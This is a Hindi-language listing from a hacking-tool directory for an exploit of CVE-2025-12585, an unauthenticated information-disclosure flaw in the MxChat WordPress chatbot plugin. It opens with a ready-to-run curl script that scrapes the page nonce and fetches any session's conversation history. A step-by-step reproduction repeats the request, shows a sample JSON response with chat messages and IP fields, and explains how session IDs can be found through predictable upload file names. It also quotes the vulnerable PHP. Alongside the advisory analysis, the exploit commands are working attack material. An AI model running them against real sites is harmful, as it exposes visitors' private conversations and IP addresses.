Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/d0n601/cve-2025-12585
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करना
GitHubd0n601/cve-2025-12585

CVE-2025-12585

MxChat – वर्डप्रेस के लिए एआई चैटबॉट <= 2.5.1 - अप्रमाणित सूचना प्रकटीकरण

रिपॉजिटरी देखें
510 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

MxChat Basic <= 2.5.1 - WordPress के लिए MxChat – AI Chatbot <= 2.5.1 - बिना प्रमाणीकरण के सूचना प्रकटीकरण

MxChat Basic प्लगइन mxchat_fetch_conversation_history AJAX एंडपॉइंट में सत्र स्वामित्व सत्यापित नहीं करता है, जिससे अनधिकृत उपयोगकर्ता असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ (IDOR) कमजोरियों के माध्यम से अन्य उपयोगकर्ताओं के वार्तालाप इतिहास और IP पते तक पहुंच सकते हैं।

TL;DR एक्सप्लॉइट्स

root@kitploit:~
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=$SESSION_ID" \
  -d "nonce=$NONCE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest" | jq

विवरण

फ़ंक्शन फ़ाइल में, बिना यह सत्यापित किए कि अनुरोधकर्ता के पास सत्र का स्वामित्व है, केवल क्लाइंट द्वारा प्रदान किए गए के आधार पर वार्तालाप डेटा प्राप्त करता है। यह किसी भी अनधिकृत उपयोगकर्ता को मान्य नॉन्स (जो फ्रंटएंड JavaScript के माध्यम से उपलब्ध है) के साथ अन्य उपयोगकर्ताओं के निजी वार्तालाप डेटा तक पहुंचने की अनुमति देता है। इसके अतिरिक्त, वार्तालाप इतिहास में उपयोगकर्ता के IP पते शामिल होते हैं जो फ़ील्ड में संग्रहीत होते हैं, जो वार्तालाप डेटा के साथ प्रकट होते हैं।

mxchat_fetch_conversation_history()
/includes/class-mxchat-integrator.php
session_id
agent_name

IP पते का प्रकटीकरण संदेश भंडारण प्रक्रिया में होता है:

class-mxchat-integrator.php में स्थित है:

root@kitploit:~
361    // 4) Determine user_identifier
362    $user_identifier = $agent_name
363        ? $agent_name
364        : MxChat_User::mxchat_get_user_identifier();

जहां MxChat_User::mxchat_get_user_identifier() अनधिकृत उपयोगकर्ताओं के लिए उपयोगकर्ता का IP पता लौटाता है:

root@kitploit:~
9    public static function mxchat_get_user_identifier() {
10        if (is_user_logged_in()) {
11            $current_user = wp_get_current_user();
12            return $current_user->user_login;
13        } else {
14            return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15        }
16    }

यह IP पता फिर वार्तालाप इतिहास में agent_name के रूप में संग्रहीत किया जाता है और वार्तालाप डेटा प्राप्त करते समय उजागर होता है।

फ़ाइल अपलोड में सत्र ID प्रकटीकरण

सत्र IDs सीधे अपलोड की गई फ़ाइल नामों में एम्बेडेड होते हैं। जब उपयोगकर्ता चैट इंटरफ़ेस के माध्यम से PDF या Word दस्तावेज़ अपलोड करते हैं, तो फ़ाइलें पूर्वानुमानित नामकरण पैटर्न के साथ सहेजी जाती हैं: mxchat_{session_id}_{timestamp}.pdf और mxchat_word_{session_id}_{timestamp}.docx। यह सत्र IDs को विभिन्न हमले वैक्टरों के माध्यम से खोजने योग्य बनाता है: यदि अपलोड निर्देशिका पर सर्वर इंडेक्सिंग सक्षम है तो निर्देशिका लिस्टिंग, WordPress मीडिया लाइब्रेरी तक पहुंच, खोज इंजनों द्वारा संभावित रूप से अनुक्रमित होना, आदि।

असुरक्षित स्निपेट class-mxchat-integrator.php से:

root@kitploit:~
107 function mxchat_fetch_conversation_history() {
108     if (empty($_POST['session_id'])) {
109         wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110         wp_die();
111     }
112 
113     $session_id = sanitize_text_field($_POST['session_id']);
114     $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115     $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116 
117     if (empty($history)) {
118         wp_send_json_success([
119             'conversation' => [],
120             'chat_mode' => $chat_mode
121         ]);
122         wp_die();
123     }
124 
125     wp_send_json_success([
126         'conversation' => $history,
127         'chat_mode' => $chat_mode
128     ]);
129     wp_die();
130 }

मैन्युअल पुनर्निर्माण

  1. लक्षित WordPress साइट के किसी भी पेज पर जाएं और पेज स्रोत से mxchat_chat_nonce निकालें। नॉन्स फ्रंटएंड JavaScript में mxchatChat.nonce के रूप में उजागर होता है और सभी आगंतुकों के लिए उपलब्ध होता है।

  2. एक सत्र ID पहचानें (प्रारूप: mxchat_chat_{9 alphanumeric characters})। सत्र IDs को अपलोड की गई फ़ाइल नामों के माध्यम से खोजा जा सकता है यदि निर्देशिका लिस्टिंग या मीडिया लाइब्रेरी एक्सेस सक्षम है, या अनुक्रमिक पैटर्न या सामान्य मानों का परीक्षण करके गणना की जा सकती है।

  3. किसी भी सत्र से वार्तालाप इतिहास प्राप्त करने के लिए निम्नलिखित curl कमांड निष्पादित करें:

root@kitploit:~
curl -X POST http://example.com/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=mxchat_chat_7jxi3jsdb" \
  -d "nonce=YOUR_NONCE_HERE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest"
  1. आपको सभी उपयोगकर्ता संदेशों, बॉट प्रतिक्रियाओं, टाइमस्टैम्प, उपयोगकर्ता IP पतों और सत्र मेटाडेटा सहित पूर्ण वार्तालाप इतिहास वाला एक JSON प्रतिक्रिया प्राप्त होगी:
root@kitploit:~
{
  "success": true,
  "data": {
    "conversation": [
      {
        "id": "6903e8a1e195e",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863841925,
        "agent_name": "IP.REDACTED"
      },
      {
        "id": "6903e8a33c86a",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863843248,
        "agent_name": "IP.REDACTED"
      }
    ],
    "chat_mode": "ai"
  }
}

agent_name फ़ील्ड में अनधिकृत उपयोगकर्ताओं के लिए उपयोगकर्ता का IP पता ($_SERVER['REMOTE_ADDR']) होता है, जो वार्तालाप डेटा के साथ प्रकट होता है।

टूल डाउनलोड करें